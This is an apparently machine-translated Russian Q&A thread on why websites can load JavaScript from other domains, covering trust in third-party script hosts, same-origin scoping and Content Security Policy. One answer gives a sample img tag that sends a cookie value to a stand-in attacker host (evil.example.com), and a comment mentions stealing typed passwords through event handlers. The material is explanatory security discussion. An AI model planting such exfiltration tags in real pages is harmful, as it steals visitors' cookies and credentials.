2010-01-15 4 views
5

Почему это происходит, когда мы ссылаемся на файл javascript на x.com с сайта y.com (например, аналитика google или jquery), это не вызывает проблем с перекрестной безопасностью?Почему мы можем ссылаться на js-файлы в другом домене?

Например:

в y.com/index.html мы имеем:

<script type="text/javascript" src="http://x.com/jsfile.js" /> 

Как мы можем знать, когда это нормально делать и когда это не?

ответ

6

У этого есть потенциал, чтобы стать серьезной дырой в безопасности, поэтому вам нужно доверять сайту, на котором размещается файл JavaScript.

Например, этот код может добавлять к вашему сайту теги сценариев и теги img, которые могут передавать конфиденциальные данные третьему лицу.

Комментарий Дэвида о политике того же происхождения может вводить в заблуждение. Классический способ для передачи данных на удаленный сайт, чтобы вставить IMG тег в удаленный домен:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info /> 

Если код JavaScript на удаленном хосте был изменен, чтобы динамически вводить в IMG тег, например, как это тогда ваш сайт может иметь дыру в безопасности. Есть некоторые из этих проблем, например, использование файлов cookie только для HTTP, которые недоступны с помощью JavaScript.

Пример аналитических систем - отличный. Вы должны верить, что поставщик не будет принимать какие-либо конфиденциальные данные, такие как ваши собственные файлы cookie, и отправить их в удаленное местоположение. Вы также должны доверять провайдеру, что их система является безопасной и что хакер не может изменять файлы JavaScript на своих серверах. Системы аналитики обычно работают, используя эти же методы, но, надеюсь, они используют ее на благо, а не на зло. В некотором смысле это ничем не отличается от беспокойства о том, создают ли ваши разработчики хороший, защищенный код и вводят ли они секретный бэкдор.

Что касается , почему разрешено, это просто исторический. Интернет не был разработан с учетом безопасности. Является ли это атакой CSRF, атаками повторного использования или атаками XSS, все это фундаментальные недостатки в дизайне сети, которые теперь становятся проблемой веб-разработчиков.

+0

Это правда, что HTTP только печенье может быть извлечена путем анализа заголовков в JavaScript не так ли? – alex

+0

@alex - Я не уверен в этом. JavaScript может также делать другие вещи, которые гораздо более злы, такие как кража паролей, прикрепляя обработчики событий для ввода тегов, которые затем отправляют текст на удаленный сервер. – Eilon

3

Если данные поступают, это не имеет значения, это вопрос, в котором он используется.

Вы просто получаете скрипт из другого домена, он по-прежнему работает в области вашей собственной страницы, поэтому у него нет доступа к ресурсам в домене, откуда он был загружен.

В ситуации, когда у вас есть проблемы с перекрестными доменами, такие как iframe, содержащие страницу из другого домена, у вас есть две разные области. Страница в iframe работает в области домена, откуда она была загружена, поэтому она может обращаться к ресурсам в этом домене, но не может получить доступ к чему-либо на странице, на которой размещается iframe, поскольку это другая область.

(Примечание. Я не знаю, если термин «сфера» обычно используется в данном контексте, может быть термин, который лучше описывает его)

0

Я не знаю, почему мы можем это сделать , Но вы можете предотвратить его использование с помощью политики безопасности контента (CSP), HTTP-заголовка, отправленного вашим веб-приложением, в котором объявлено, что он не должен загружать JavaScript, кроме как из доменов, которые вы явно разрешаете.

Смежные вопросы